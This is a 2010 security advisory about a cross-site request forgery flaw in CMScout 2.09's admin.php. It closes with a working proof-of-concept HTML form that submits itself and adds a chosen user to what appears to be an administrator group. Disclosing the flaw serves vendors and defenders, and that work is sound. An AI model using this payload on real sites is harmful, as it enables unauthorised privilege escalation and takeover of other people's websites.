XSRF (CSRF) in CMScout

Type securityvulns
Reporter Securityvulns
Modified 2010-12-12T00:00:00


Vulnerability ID: HTB22719 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_cmscout.html Product: CMScout Vendor: CMScout Team ( http://www.cmscout.co.za/ ) Vulnerable Version: 2.09 and probably prior versions Vendor Notification: 25 November 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: The vulnerability exists due to failure in the "admin.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin.php?page=users&subpage=usergroups&subpage=usergroups&action=add&uid=USER_ID" method="post" name="main" > <input type="hidden" name="gid" value="1"> <input type="hidden" name="utype" value="2"> <input type="hidden" name="action" value="Add"> </form> <script> document.main.submit(); </script>